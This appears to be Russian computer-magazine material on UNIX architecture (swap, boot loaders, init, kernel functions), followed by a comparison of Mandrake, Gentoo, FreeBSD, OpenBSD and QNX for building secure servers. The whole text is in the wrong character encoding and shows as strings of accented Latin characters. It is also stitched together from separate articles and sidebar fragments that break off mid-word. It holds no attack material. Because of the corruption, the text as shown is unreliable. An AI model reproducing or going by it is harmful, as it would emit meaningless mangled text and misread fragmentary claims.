ëåíèÿ âûâîäîâ è ââîäîâ ñ òåðìèíàëà,
syslog (ëîãèðîâàíèå âñåõ äåéñòâèé â
ñèñòåìå), ðàçëè÷íûå êîìáèíàöèè
äåéñòâèé íà ÔÑ è ìíîãîå äðóãîå. 

Ñâîïèíã ïîçâîëÿåò ðàáîòàòü
ýôôåêòèâíåé

Ìåõàíèçì âèðòóàëüíîé ïàìÿòè
ïîääåðæèâàåòñÿ âñåìè êëîíàìè UNIX
íà óðîâíå ÿäðà. Åñòü äâà îñíîâíûõ
ñïîñîáà îðãàíèçàöèè swap-ïðîñòðàí-
ñòâà: ðàçäåë íà æåñòêîì äèñêå (èëè îò-
äåëüíûé âèí÷åñòåð, òîëüêî ïîä swap)
èëè ôàéë íà ñóùåñòâóþùåì ðàçäåëå.
Èñïîëüçîâàíèå ðàçäåëà èëè îòäåëüíî-
ãî âèí÷åñòåðà ïðåäïî÷òèòåëüíî èç ñî-
îáðàæåíèé ñêîðîñòè îáìåíà äàííûõ.

Â UNIX ââåäåí ïðèíöèï ïåðåìåùå-
íèÿ âèðòóàëüíûõ ñòðàíèö ïðîöåññà èç

swap-ðàçäåëà â îïåðàòèâíóþ ïàìÿòü
ïî çàïðîñó. Ïðè çàïóñêå ëþáîãî ïðè-
ëîæåíèÿ ÿäðî UNIX çàãðóæàåò ëèøü
ìèíèìàëüíî íåîáõîäèìûé äëÿ çàïóñ-
êà êóñîê êîäà, ïîñëå ÷åãî ïåðåäàåò
åìó óïðàâëåíèå. Ïîñëå ýòîãî ðàáîòà,
êàê ñ ôèçè÷åñêîé ïàìÿòüþ, òàê è ñî
swap, áóäåò ðåãóëèðîâàòüñÿ çàïðîñà-
ìè ïðîãðàììû. Åñëè â õîäå âûïîëíå-
íèÿ ñîôòèíû îáíàðóæèòñÿ, ÷òî çàïðà-
øèâàåìûé âèðòóàëüíûé àäðåñ äàííî-
ãî äåñêðèïòîðà ïðîöåññà îòñóòñòâóåò,
òî ìåíåäæåð âèðòóàëüíîé ïàìÿòè îá-
ðàòèòñÿ ê äèñêó è çàãðóçèò íåîáõîäè-
ìûé êóñîê äàìïà â îïåðàòèâêó. Êîãäà
áóäåò èñïîëüçîâàíà âñÿ äîñòóïíàÿ
ôèçè÷åñêàÿ îáëàñòü, ìåíåäæåðó âèð-
òóàëüíîé ïàìÿòè ïðèäåòñÿ âûãðóçèòü
êàêóþ-òî ÷àñòü äàííûõ íà äèñê, î ÷åì
áóäåò ñäåëàíà ñîîòâåòñòâóþùàÿ çà-
ïèñü. Äëÿ âûáîðà âûìåùàåìûõ ñòðà-
íèö íåîáõîäèìî ïðîâåñòè àíàëèç, ÷òî-
áû íå ñáðîñèòü ñåãìåíò, íåîáõîäèìûé
äëÿ ðàáîòû, ÷åðåç íåñêîëüêî òàêòîâ.
Ýòó ôóíêöèþ âûïîëíÿåò ñïåöèàëü-
íûé ïðîöåññ pageout.

ÃËÀÂÍÎÅ � ÇÀÃÐÓÇÈÒÜÑß!
�Loading UNIX� � ôðàçà, ãîâîðÿ-

ùàÿ î ìíîãîì. Ðàññìîòðèì äâà îñ-
íîâíûõ ñïîñîáà çàãðóçêè ÿäðà ñèñòå-
ìû. Ïî÷åìó ÿäðà, à íå âñåé ÎÑ? Ïî-
òîìó ÷òî áóäåò îòëè÷àòüñÿ òîëüêî
çàãðóçêà ÿäðà, ïîñëå òîãî êàê îíî áó-
äåò â ïàìÿòè, âñå îñòàëüíîå çàãðóæà-
åòñÿ ñòàíäàðòíîé è îòëàæåííîé ïðî-
öåäóðîé. Ñàìûé ïðîñòîé âàðèàíò �
ýòî Boot-äèñêåòà. Õîä çàãðóçêè ñèñòå-
ìû ïðè òàêîì ñïîñîáå âûãëÿäèò
î÷åíü ïðîñòî: ïîñëå íà÷àëüíîãî òåñ-
òà BIOS ïåðåäàåò óïðàâëåíèå çàãðó-
çî÷íîé îáëàñòè äèñêåòû, ãäå ñîäåð-
æèòñÿ êîä, ðàñïàêîâûâàþùèé ÿäðî
UNIX â îïåðàòèâíóþ ïàìÿòü. Ïîñëå
ðàñïàêîâêè íà÷èíàåòñÿ ñòàíäàðòíîå
ìîíòèðîâàíèå êîðíåâîãî ðàçäåëà. Íî
òàêîé ïðîñòîé âàðèàíò ïðèìåíÿåòñÿ
òîëüêî äëÿ äèñêåò áåç ôàéëîâûõ
ñèñòåì. Äëÿ âèí÷åñòåðîâ èñïîëüçó-
þò íåñêîëüêî óñëîæíåííûé âàðèàíò
çàãðóçêè. Ïðè÷èíà ýòîãî äîñòàòî÷íî
ïðîñòàÿ: ÿäðî íå ìîæåò áûòü çàïèñà-
íî â ïåðâûå ñåêòîðà, òàê êàê òàì íà-
õîäèòñÿ òàáëèöà ðàçìåòêè æåñòêîãî
äèñêà è îïèñàíèÿ âñåõ ÔÑ, ïðè ïîð÷å
ýòèõ äàííûõ èñïîëüçîâàòü õàðä
ïðîñòî íåâîçìîæíî. Ïîýòîìó ðàçðà-
áîò÷èêè ïðèìåíèëè óñëîæíåííûé àë-
ãîðèòì èíèöèàëèçàöèè ÿäðà. Ïîñëå
POST-òåñòà óïðàâëåíèå, êàê îáû÷íî,
ïåðåäàåòñÿ çàãðóçî÷íîé îáëàñòè
æåñòêîãî äèñêà, ãäå õðàíèòñÿ ìèíèà-
òþðíàÿ ïðîãðàììà, âñÿ ðàáîòà êîòî-
ðîé ñâîäèòñÿ ê çàïóñêó ãëàâíîãî çàã-
ðóç÷èêà ÎÑ, îáëàäàþùåãî äîñòàòî÷-
íîé ôóíêöèîíàëüíîñòüþ è ãèá-
êîñòüþ äëÿ çàïóñêà ÿäðà. Òàêèì
�áîëüøèì� çàãðóç÷èêîì ìîæåò áûòü
LILO, GRUB èëè ñòàíäàðòíûé BSD-
loader. À óæå ýòîò çàãðóç÷èê êîïèðó-
åò ÿäðî â ïàìÿòü, ïåðåäàâ åìó íåîá-
õîäèìûå ïàðàìåòðû. Êàê âèäèøü,
ïðè çàãðóçêå ñ âèí÷åñòåðà èñïîëüçó-
þòñÿ äâóõóðîâíåâûå ïðîãðàììû.
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ß õî÷ó ïðîäîëæèòü ðàññêàç î ñõåìå çàãðóçêè UNIX-ñèñ-
òåì, òàê êàê çàãðóçêà ÿâëÿåòñÿ åùå îäíèì àðõèòåêòóð-
íûì ðåøåíèåì ñîîáùåñòâà ðàçðàáîò÷èêîâ ÎÑ. Ñóùåñò-
âóåò äâå îñíîâíûå ñõåìû çàãðóçêè UNIX è åãî êëîíîâ:
BSD è System V. BSD-òèï ïðèìåíÿåòñÿ âî ìíîãèõ BSD-
ñèñòåìàõ è â íåêîòîðûõ äèñòðèáóòèâàõ Linux (Gentoo,
Slackware). Ñõåìà BSD ïðîùå System V, íî è âîçìîæíîñ-
òåé ó íåå ìåíüøå. Ðàññìîòðèì áîëåå ïðîãðåññèâíóþ
System V. Ñíà÷àëà çàãðóæàåòñÿ ÿäðî ÎÑ, áóäü òî UNIX,
BSD-êëîí èëè Linux-êëîí, ïîñëå ýòîãî ÿäðî ìîíòèðóåò
êîðíåâóþ ôàéëîâóþ ñèñòåìó, ññûëêà íà êîòîðóþ åìó ïå-
ðåäàíà ïàðàìåòðîì çàãðóç÷èêà. Ïðè óäà÷íîì çàâåðøå-
íèè îïåðàöèè íà÷èíàåòñÿ ïîèñê ñëóæåáíîãî êàòàëîãà
/sbin; åñëè îí íå îáíàðóæèâàåòñÿ, òî ñèñòåìà âûäàåò
�Kernel panic�. Çàòåì ïðîèñõîäèò çàïóñê ãëàâíîãî ïðî-
öåññà Init: îòäàåòñÿ êîìàíäà /sbin/init. Ïîñëå ÷åãî óæå Init
îáðàùàåòñÿ ê êàòàëîãó /etc è èùåò òàì ôàéë inittab, ãäå
óêàçàí íåîáõîäèìûé óðîâåíü çàïóñêà. Îñòàëîñü íå òàê
óæ ìíîãî: init ÷èòàåò è àíàëèçèðóåò ñîäåðæèìîå ñâîåãî
êîíôèãóðàöèîííîãî ôàéëà, à çàòåì çàïóñêàåò íåîáõîäè-
ìûå ñåðâèñû, ìîíòèðóåò ëîêàëüíûå ôàéëîâûå ñèñòåìû,
ïîäíèìàåò ñåòåâûå èíòåðôåéñû, ìîíòèðóåò óâàëåííûå
ôàéëîâûå ñèñòåìû è çàïóñêàåò îñòàâøèåñÿ ñåðâèñû. Íà
çàâåðøåíèå ïðîöåññà çàãðóçêè óêàæåò (åñëè ñèñòåìà
çàãðóçèòñÿ íå â multiuser mode) ïîÿâèâøååñÿ ïðèãëàøå-
íèå ââåñòè ëîãèí è ïàðîëü ïîëüçîâàòåëÿ.

ßÄÐÎ � ÂÑÅÌÓ ÃÎËÎÂÀ!
Ãëàâíûì, îïðåäåëÿþùèì àðõèòåêòóðó ñèñòåìû çâåíîì

ÿâëÿåòñÿ ÿäðî. Âñå ÿäðà *nix-ñèñòåì äîëæíû âûïîëíÿòü
ñëåäóþùèå ôóíêöèè:

- óïðàâëåíèå ðàáîòîé ïðîöåññîâ: ñîçäàíèå, çàâåðøåíèå è
îðãàíèçàöèÿ âçàèìîäåéñòâèÿ ìåæäó íèìè.

- ïëàíèðîâàíèå î÷åðåäíîñòè ðàáîòû ïðîöåññîâ, ïåðåêëþ-
÷åíèå âûïîëíÿåìûõ çàäà÷. Ñþäà âõîäèò è ðàññòàíîâêà
ïðèîðèòåòîâ äëÿ çàäà÷è óïðàâëåíèÿ ìóëüòèïðîöåññîðíû-
ìè ñèñòåìàìè.

- âûäåëåíèå ïðîöåññó íåîáõîäèìîé îïåðàòèâíîé ïàìÿòè.
Ïðè åå íåäîñòàòêå � âêëþ÷åíèå ìåõàíèçìà swap. Òàêæå ÿä-
ðî ñëåäèò çà îáðàùåíèåì ïðèëîæåíèÿ ê çàïðåùåííûì
ó÷àñòêàì, ê ñîñåäíèì ñåãìåíòàì è â ñëó÷àå ãåíåðàöèè ïðî-
öåññîðíîãî èñêëþ÷åíèÿ ñíèìàåò ñáîéíûé ïðîöåññ, çàïèñû-
âàåò ñîîáùåíèå â ñèñòåìíûé æóðíàë.

- ïðåäîñòàâëåíèå âûñîêîóðîâíåâîãî äîñòóïà ê âèí÷åñòå-
ðó è äðóãèì íîñèòåëÿì èíôîðìàöèè. ßäðî ïîäêëþ÷àåò
ôàéëîâûå ñèñòåìû è äàåò ïðîñòîé èíòåðôåéñ ïî âçàèìî-
äåéñòâèþ ñ íèìè. Âñå ýòî äåëàåòñÿ ñ ó÷åòîì ïðàâ íà ôàéëû
è êâîò äëÿ ïîëüçîâàòåëÿ.

- Óïðàâëåíèå ïåðèôåðèåé. Ïðåäîñòàâëåíèå ïðîöåññàì
äîñòóïà ê âíåøíèì óñòðîéñòâàì. Îáåñïå÷åíèå ðàáîòû âñåé
ïåðèôåðèè � çàäà÷à ÿäðà è åãî îêðóæåíèÿ. Äðàéâåðà óñò-
ðîéñòâ ìîãóò êàê âêëþ÷àòüñÿ â ÿäðî, òàê è áûòü ïîäãðóæàå-
ìûìè ìîäóëÿìè. Èñïîëüçîâàíèå ìîäóëåé íåâîçìîæíî â
íåêîòîðûõ ñòàðûõ ïðåäñòàâèòåëÿõ ñåìåéñòâà UNIX. 

INIT 6
*nix-ñèñòåìà èìååò äîñòàòî÷íî ïðîñòóþ è ëîãè÷åñêè

ïðàâèëüíóþ àðõèòåêòóðó. ÎÑ UNIX óñòîé÷èâà è äðóæå-
ëþáíà, âîò òîëüêî äðóçåé äëÿ ñåáÿ îíà âûáèðàåò î÷åíü è
î÷åíü òùàòåëüíî. E

Ñâîáîäíûé UNIX äëÿ ñâîáîäíûõ ëþäåé
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Ñ òàáèëüíàÿ, áåçîïàñíàÿ, íåóÿçâèìàÿ, îòêàçîóñòîé÷èâàÿ � âîò êàêèå õàðàêòåðèñòèêè ÿâëÿþòñÿ îñíîâîïîëàãàþùèìè
ïðè âûáîðå îïåðàöèîííîé ñèñòåìû äëÿ îòâåòñòâåííîé ðàáîòû. Ýòà ñòàòüÿ ïîìîæåò ñ âûáîðîì èìåííî áàçîâîé

îïåðàöèîííîé ñèñòåìû, ìàêñèìàëüíî çàùèùåííîé è óäîáíîé.

ÎÑ ÄËß ÊÐÅÌËß
ÈÙÅÌ ÑÀÌÓÞ ÇÀÙÈÙÅÍÍÓÞ ÑÈÑÒÅÌÓ

àìûìè íàäåæíûìè ñ÷è-
òàþòñÿ *nix. Ó íèõ
î÷åíü ìíîãî ïëþñîâ -
îò ïðîñòîé ëîãèêè ðà-
áîòû ñ ïîëüçîâàòåëåì

äî âûñîêîé îòêàçîóñòîé÷èâîñòè. Íî
íå âñå éîãóðòû îäèíàêîâî ïîëåçíû, à
*nix îäèíàêîâî ñòàáèëüíû � íåêîòîðûå
èç íèõ ïðîñòî íå ðàññ÷èòàíû íà ñîçäà-
íèå áåçîïàñíûõ õîñòîâ. Îïðåäåëèìñÿ
ñ òðåáîâàíèÿìè ê ñèñòåìå, ïðè âûïîë-
íåíèè êîòîðûõ åå ñìåëî ìîæíî áóäåò
ñòàâèòü íà ñåðâåðà è äðóãèå êðèòè÷åñ-
êè âàæíûå ñèñòåìû. Èòàê, ÎÑ äîëæíà
èìåòü æåñòêóþ ïîëèòèêó ðàçãðàíè÷å-
íèÿ äîñòóïà, äîëæíû áûòü âñòðîåííûå
èëè ïîäêëþ÷àåìûå ñðåäñòâà äëÿ ñîç-
äàíèÿ êîìïëåêñîâ firewall, íåîáõîäèìî
ÏÎ äëÿ îòðàæåíèÿ àòàê, íàëè÷èå ðåãó-
ëÿðíûõ îáíîâëåíèé, âîçìîæíîñòü
áûñòðîãî îáíàðóæåíèÿ âçëîìîâ. 

Âçãëÿíåì íà ðûíîê ÎÑ ñåãîäíÿøíå-
ãî äíÿ. Ìîé âûáîð ïàë íà ñëåäóþùèå
äèñòðèáóòèâû: Mandrake 10 Official,
Gentoo Linux 2004.2, FreeBSD 5.1,
OpenBSD 3.5, QNX 6.2.1. 

INTRO
Íàì íóæåí ìàêñèìàëüíî áåçîïàñ-

íûé è ñòàáèëüíûé äèñòðèáóòèâ. Ñà-
ìûå ïîïóëÿðíûå äèñòðèáóòèâû Linux
áàçèðóþòñÿ íà RPM-ïàêåòàõ. Ïðåäñòà-
âèòåëåì ìèðà RPM-base ñòàë ïîñëåä-
íèé ðåëèç Mandrake. ß âûáðàë åãî ïî
íåñêîëüêèì ïðè÷èíàì: âñå êîìïîíåí-
òû äèñòðèáóòèâà ïðîõîäÿò òùàòåëü-
íîå òåñòèðîâàíèå íà ñîâìåñòèìîñòü,
èñïîëüçóåòñÿ ñîáñòâåííàÿ ìîäåëü
âçàèìîäåéñòâèÿ ñ ïîëüçîâàòåëÿìè,
âûñîêàÿ ñòàáèëüíîñòü, ïðîâåðåííàÿ
ãîäàìè. Ìîæíî áûëî èñïîëüçîâàòü
êàíîíè÷åñêèé Red Hat, íî ïîëèòèêà,
íàïðàâëåííàÿ íà çàðàáàòûâàíèå äå-
íåã, îòõîäèò îò êëàññè÷åñêîé UNIX-ìî-
äåëè, ÷òî ÿâíî íå â ïîëüçó âñåé Ôå-
äîðû. Â îáçîðå åñòü åùå îäèí âàðè-
àíò Linux-ñèñòåì - Gentoo 2004.2. Ýòî
êëàññè÷åñêèé source-base äèñòðèáó-
òèâ. Ïðè óñòàíîâêå òàêîé ñèñòåìû òû
ïîëíîñòüþ ñàì çàêëàäûâàåøü âñþ áå-
çîïàñíîñòü õîñòà. Êðîìå ýòîãî, â
Gentoo î÷åíü õîðîøî ïðîäóìàíà ñõå-
ìà îáíîâëåíèÿ ÏÎ ÷åðåç èíòåðíåò,
÷òî ïîçâîëÿåò âñåãäà èñïîëüçîâàòü

ñàìûå áåçîïàñíûå è çàùèùåííûå
âåðñèè ñîôòà.

Ñàìûì ÿðêèì è èçâåñòíûì ïðåäñòà-
âèòåëåì ëèíåéêè BSD ÿâëÿåòñÿ
FreeBSD. Î÷åíü ìíîãèå ñåðâåðà êðóï-
íûõ îðãàíèçàöèé èñïîëüçóþò èìåííî
ýòîò êëîí UNIX. Èç îñíîâíûõ ïëþñîâ
ìîæíî âûäåëèòü ïðîâåðÿåìóþ ãîäàìè
àðõèòåêòóðó, îòëàæåííóþ ñõåìó âçàè-
ìîäåéñòâèÿ êîìïîíåíòîâ, ìèíèìàëü-
íîå íàëè÷èå èçâåñòíûõ óÿçâèìîñòåé.
Åùå î÷åíü ñèëüíî ïðèâëåêàåò ðàçâè-
òàÿ ñèñòåìà ïîðòîâ, êîòîðàÿ ïîçâîëÿ-
åò îáíîâëÿòü âñþ ñèñòåìó, èñïîëüçóÿ
âñåãî îäíó êîìàíäó. Âòîðîé ïåðñïåê-
òèâíîé ðåàëèçàöèåé BSD-ìîäåëè ñòà-
ëà OpenBSD. Ìîé âûáîð ïàë èìåííî
íà ýòó ñèñòåìó, ïîòîìó ÷òî åå ñîçäàòå-
ëè èçíà÷àëüíî ãîòîâÿò ñâîå äåòèùå ê
ðàáîòå â ñëîæíåéøèõ ñåòåâûõ óñëî-
âèÿõ: «Âîò óæå íåñêîëüêî ëåò, êàê íå
áûëî çàðåãèñòðèðîâàíî íè îäíîãî
óäàëåííîãî âçëîìà ìàøèí, ðàáîòàþ-
ùèõ ïîä óïðàâëåíèåì OpenBSD â êîí-
ôèãóðàöèè ïî óìîë÷àíèþ». È ïîñëåä-
íÿÿ ñèñòåìà, î êîòîðîé ïîéäåò ðå÷ü â
íàøåì îáçîðå, � QNX. Ýòî äàæå íå
UNIX â òîì ïîíèìàíèè, êîòîðîå áëèçêî
íàì. QNX - êîììåð÷åñêàÿ ÎÑ æåñòêîãî

ðåàëüíîãî âðåìåíè, ñîâìåñòèìàÿ ñî
ñòàíäàðòîì POSIX. Òî åñòü îíà ìîæåò
ðàáîòàòü ñ î÷åíü ìíîãèì ÏÎ, íàïèñàí-
íûì äëÿ UNIX. Îñíîâíîå îòëè÷èå QNX
îò âñåõ îñòàëüíûõ îïåðàöèîíîê â òîì,
÷òî ýòî ñèñòåìà ðåàëüíîãî âðåìåíè,
âçëîìîâ êîòîðîé çàðåãèñòðèðîâàíî íå
áûëî âîîáùå. Ïîñëå íåáîëüøîãî çíà-
êîìñòâà ñ íàøèìè êàíäèäàòàìè ïðåä-
ëàãàþ ïåðåéòè ê èññëåäîâàíèþ áåçî-
ïàñíîñòè äàííûõ ñèñòåì.

LINUX MANDRAKE
www.mandrakelinux.com

Ïîïóëÿðíûé äèñòðèáóòèâ Linux íà
ðàáî÷åì ñòîëå. Î äðóæåñòâåííîñòè
ïðîäóêòîâ ýòîé êîìïàíèè ãîâîðèò
âåñü èíòåðíåò. À ÷òî æå ñ áåçîïàñ-
íîñòüþ? Óæå â íà÷àëå óñòàíîâêè
ìîæíî ñäåëàòü âûáîð: òèï expert èëè
îáû÷íûé. Ñëåäóåò îòäàòü ïðåäïî÷òå-
íèå ïåðâîìó âàðèàíòó: ÷óòü áîëüøå
âîçìîæíîñòåé äëÿ òîíêîé íàñòðîéêè
ÎÑ ïðè èíñòàëëÿöèè. Ïîæàëóé, ñàìûì
ãëàâíûì ýòàïîì âî âñåé óñòàíîâêå
äëÿ íàñ ñòàíåò âûáîð óðîâíÿ áåçîïàñ-
íîñòè. Èìåííî òàê MandrakeSoft ïîä-
ãîòîâèëà ñâîé äèñòðèáóòèâ ê ñåðâåð-
íîìó ðûíêó. Ïåðâûé è ñàìûé ïðîñòîé
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www.freeb-
sd.org/ru/in
dex.html -
ðóññêàÿ
âåðñèÿ îôè-
öèàëüíîãî
ñàéòà
FreeBSD.

Íà òåêóùèé
ìîìåíò ïîñ-
ëåäíÿÿ âåð-
ñèÿ QNX -
6.3

Âîò òàê âûãëÿäèò QNX; èäåò ïðîöåññ êîíôèãóðèðîâàíèÿ ñîôòèíû

ÎÑ ÄËß ÊÐÅÌËß12 ÒÅÎÐÈß



25 ìàÿ
2004 ãîäà
ñòàë äîñòó-
ïåí äëÿ
ñêà÷èâàíèÿ
äåñÿòûé ðå-
ëèç
Mandrake
Linux.

óðîâåíü � ñòàíäàðòíûé. Ýòîò âàðèàíò
ïðàêòè÷åñêè íå ïðåäóñìàòðèâàåò íè-
êàêîãî êîíòðîëÿ íàä áåçîïàñíîñòüþ
ñèñòåìû. Òàê, ëþáîé ïîëüçîâàòåëü
ñìîæåò ÷èòàòü ïðîèçâîëüíûå êàòàëî-
ãè, êðîìå äîìàøíèõ äèðåêòîðèé äðó-
ãèõ þçåðîâ. Êðîìå ýòîãî, íåêîòîðûå
ïîëüçîâàòåëè ñìîãóò ïðîñìîòðåòü ñî-
äåðæèìîå êîíôèãóðàöèîííûõ ôàé-
ëîâ /etc. Ïîëíîñòüþ îòñóòñòâóþò ïðî-
âåðêè íà íîâûå/èçìåíèâøèåñÿ ôàé-
ëû â ñèñòåìå: ðàçðàáîò÷èêè ñ÷èòàþò,
÷òî çà äåíü ñòîëüêî ñîôòà íàñòà-
âèøü/íàóäàëÿåøü, ÷òî ÷èòàòü ìåãà-

áàéòíûå ëîãè ñâîèõ äåéñòâèé íå âîç-
íèêíåò íèêàêîãî æåëàíèÿ. Òàêæå âîç-
ìîæåí íåïîñðåäñòâåííûé âõîä ïîëü-
çîâàòåëÿ root ïðÿìî ïî SSH èëè ñ òåð-
ìèíàëà, ÷òî êîìó-òî óäîáíî, íî íà ñà-
ìîì äåëå î÷åíü îïàñíî. Êàê âèäèøü,
ïåðâûé óðîâåíü îðèåíòèðîâàí íà äî-
ìàøíåå èñïîëüçîâàíèå è íà çâàíèå
ñåêüþðíîãî âàðèàíòà äàæå íå ïðåòåí-
äóåò. Ñëåäóþùèé óðîâåíü � âûñîêèé
- òàêæå ðàññ÷èòàí íà äîìàøíåå èñ-
ïîëüçîâàíèå è ïîýòîìó íàñ òîæå íå
èíòåðåñóåò. Ïîæàëóé, åäèíñòâåííûì
ïðèåìëåìûì âàðèàíòîì ñòàíåò ïàðà-
íîèäàëüíûé óðîâåíü. Äëÿ ñåðâåðîâ
ñëåäóåò èñïîëüçîâàòü òîëüêî åãî. Âîò
÷òî îí äàåò: íåâîçìîæåí íåïîñðåä-
ñòâåííûé âõîä ïîëüçîâàòåëåì root,
íèêòî íå ìîæåò ÷èòàòü êîðíåâóþ ôàé-
ëîâóþ ñèñòåìó � ó âñåõ ôàéëîâ è êà-
òàëîãîâ âûñòàâëåíû ïðàâà íà ÷òåíèå
òîëüêî äëÿ root. Êðîìå ýòîãî, ïðîèç-
âîäèòåëè çíà÷èòåëüíî ïðîðàáîòàëè
ìåõàíèçì äåìîíîâ - íà ýòîì óðîâíå
ïîëíîñòüþ ðåàëèçîâàíà ìîäåëü áåçî-
ïàñíîñòè �êàæäîìó äåìîíó ïî ïîòðåá-
íîñòÿì�, òî åñòü ëþáîé ñåðâèñ áóäåò
çàïóñêàòüñÿ îò ñâîåé ó÷åòíîé çàïèñè.
Åùå êàæäóþ íî÷ü áóäóò ïðîâîäèòüñÿ
àâòîìàòè÷åñêèå ïðîâåðêè íà áýêäîðû
è ðóòêèòû � ïðè ëþáûõ èçìåíåíèÿõ
ôàéëîâîé ñèñòåìû ñîñòàâëÿåòñÿ ïðî-
òîêîë, êîòîðûé îòïðàâëÿåòñÿ àäìèíè-
ñòðàòîðó. Çàùèòà îò âíåøíèõ àòàê ðå-

àëèçóåòñÿ ñ ïîìîùüþ îáÿçàòåëüíîé
óñòàíîâêè ïàêåòà iptables � ñèñòåìû
Firewall. Mandrake ïîñòàðàåòñÿ àâòî-
ìàòè÷åñêè âûáðàòü íåîáõîäèìûå ïðà-
âèëà è ïðèìåíèòü èõ äëÿ äàííîãî õîñ-
òà. Ïðè÷åì ó ôàåðâîëà áóäåò àêòèâè-
ðîâàíà îïöèÿ, îòâå÷àþùàÿ çà îòðà-
æåíèÿ ïîïûòîê ñêàíèðîâàíèÿ ïîðòîâ
- ïðàêòè÷åñêè íè îäèí ïîðò-ñêàíåð íå
ñìîæåò îïðåäåëèòü íàëè÷èå ðàáîòàþ-
ùèõ ñåðâèñîâ. Òàêèì îáðàçîì, ïàðà-
íîèäàëüíûé óðîâåíü ñòàðàåòñÿ ñîç-
äàòü äåéñòâèòåëüíî çàùèùåííóþ
êðåïîñòü êàê äëÿ àòàê èçâíå, òàê è äëÿ
ëîêàëüíûõ âçëîìîâ ;). 

LINUX GENTOO
www.gentoo.org

Ýòî, ÈÌÕÎ, îäèí èç ëó÷øèõ äèñò-
ðèáóòèâîâ Linux ïî âñåì ïàðàìåòðàì.
Äîñòàòü ñèñòåìó î÷åíü ïðîñòî: åå
ìîæíî ñêà÷àòü èç èíòåðíåòà (www.gen-
too.org) ëèáî çàêàçàòü 2 CD â Linux-
öåíòðå (www.linuxcenter.ru). Óñòàíîâêà
Äæåíòó ðàäèêàëüíî îòëè÷àåòñÿ îò
àíàëîãè÷íîé ïðîöåäóðû â Mandrake-
like-äèñòðèáóòèâàõ. Â ýòîé ñáîðêå òå-
áå ïðèäåòñÿ âñå äåëàòü ðóêàìè è êîí-
ñîëüþ. Èìåííî ïîýòîìó íå èìååò
ñìûñëà ãîâîðèòü î çàðàíåå ïðåäóñòà-
íîâëåííûõ óðîâíÿõ áåçîïàñíîñòè -
èõ ïðîñòî íåò. Âåñü ïðîöåññ èíñòàë-
ëÿöèè òû ïðîâîäèøü ñàì, è åñëè òâîè
çíàíèÿ Linux îãðàíè÷èâàþòñÿ óðîâ-
íåì KDE, òî íè î êàêîé áåçîïàñíîé
ñèñòåìå äàæå íå ìå÷òàé. Ýòî ÿ íå ê
òîìó, ÷òî óñòàíîâèòü Gentoo òðóäíî, à
ê òîìó, ÷òî ñîçäàòü çàùèùåííûé õîñò
íà åãî áàçå íîâè÷êó ñëîæíåå. Íî, åñ-
ëè òû âëàäååøü ñåêðåòàìè Linux â
äîñòàòî÷íîé ñòåïåíè, òî Äæåíòó -
äëÿ òåáÿ. Âîò ïî÷åìó ÿ âûáèðàþ åãî:
ïîñëå óñòàíîâêè íà ìîåì ñåðâåðå
åñòü òîëüêî òî, ÷òî ÿ ñàì âûáðàë èç
èñõîäíèêîâ. Òî åñòü íèêàêèõ ëåâûõ è
áàæíûõ ñåðâèñîâ íå áóäåò. Íàïðè-
ìåð, åñëè ýòî ïî÷òîâûé ñåðâåð, òî íà
íåì è áóäåò óñòàíîâëåí ñàìûé ñâå-
æèé postfix, ñîáðàííûé èç ñîðöîâ, ñ
îïòèìèçàöèåé è ïîâûøåííîé çàùè-
òîé. Âñÿêèõ àïà÷åé è äæàááåðîâ íå
áóäåò äàæå â ïðîåêòå. Òàêîé ïîäõîä ê
áåçîïàñíîñòè ÎÑ ïîçâîëÿåò äåðæàòü
íà ñåðâåðå ìèíèìàëüíûé íàáîð ñà-
ìûõ íåîáõîäèìûõ äåìîíîâ. Íî ñîç-
äàòü Linux èñêëþ÷èòåëüíî ïîä ñâîè
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Ãëàâíûé
ïëþñ
Mandrake �
ïðîñòîòà è
äîñòóï-
íîñòü.

Àíòîí Êàðïîâ, ñïåöèàëèñò ïî ñåòåâîé áåçîïàñíîñòè, ñèñòåìíûé
àäìèíèñòðàòîð:

«Ðàçíèöà ìåæäó BSD è Linux äîëæíà áûòü ïîíÿòíà êàæäîìó: ïåðâîå
åñòü ïîëíîöåííàÿ ÎÑ, âòîðîå - ëèøü ÿäðî îïåðàöèîííîé ñèñòåìû.
Èç-çà ýòîãî ôóíäàìåíòàëüíîãî ðàçëè÷èÿ âàðèàöèè äèñòðèáóöèé
BSD ìîæíî ñîñ÷èòàòü ïî ïàëüöàì, òîãäà êàê äèñòðèáóòèâîâ Linux êàê
ñîáàê íåðåçàíûõ. ×òî æå ëó÷øå ñ òî÷êè çðåíèÿ áåçîïàñíîñòè? Íà-
âåðíîå, èìåÿ ïîëíîå îêðóæåíèå (ÿäðî, userland, äåìîíû, ñèñòåìíûå
óòèëèòû), ïîñòðîèòü çàùèùåííóþ ñèñòåìó ëåã÷å, òàê êàê ïðîùå ðà-
áîòàòü ñ ãàðìîíè÷íûì íàáîðîì èñõîäíèêîâ, ðàñïîëàãàþùèìñÿ â
åäèíîì äåðåâå (/usr/src) è ïîäãîíÿåìûì äðóã ê äðóãó ãîäàìè. Âñå æå,
÷òî ìîæíî äîáàâèòü ê ÿäðó Linux, - ýòî ïàò÷è, óñèëèâàþùèå åãî èì-
ìóíèòåò. Íî ïîìèìî ýòîãî íóæíî êàê ìèíèìóì îçàáîòèòüñÿ àóäèòîì
ìíîãî÷èñëåííûõ óòèëèò, íåîáõîäèìûõ äëÿ ðàáîòû ñåðâåðà è íàïè-
ñàííûõ ðàçíûìè ëþäüìè, ñ ðàçíûì ñòèëåì ïðîãðàììèðîâàíèÿ, ïîä-
÷àñ ñ ðàçíîé èäåîëîãèåé. Ïîýòîìó, íàâåðíîå, security-ïàò÷åé äëÿ ÿä-
ðà Linux îãðîìíîå êîëè÷åñòâî, îäíàêî çàñëóæèâàþùèõ âíèìàíèå
security-oriented äèñòðèáóòèâîâ - ìíîãî ìåíüøå. Ìàêñèìóì, ÷òî äå-
ëàþò èõ âåíäîðû, - ïðîâîäÿò àíàëèç êîäà äà ñîáèðàþò ïàêåòû êîì-
ïèëÿòîðîì ñ çàùèòîé îò ïåðåïîëíåíèÿ ñòåêà. Òàêèå ïðîåêòû, êàê
privilege separation, system calls enforcement, jail, ðîæäàþòñÿ ëèáî
äîâîäÿòñÿ äî óìà èìåííî â BSD-ñèñòåìàõ (OpenBSD, FreeBSD). 
Îäíàêî åñëè îòîéòè îò êëàññè÷åñêîé ìîäåëè áåçîïàñíîñòè UNIX â
ìàíäàòíûå ìîäåëè è òðåáîâàòü ðåàëèçàöèþ MAC, DTE, RBAC, òî êîí-
ñåðâàòèâíàÿ BSD çäåñü áåçðîïîòíî îòäàåò èíèöèàòèâó Linux, â ìèðå
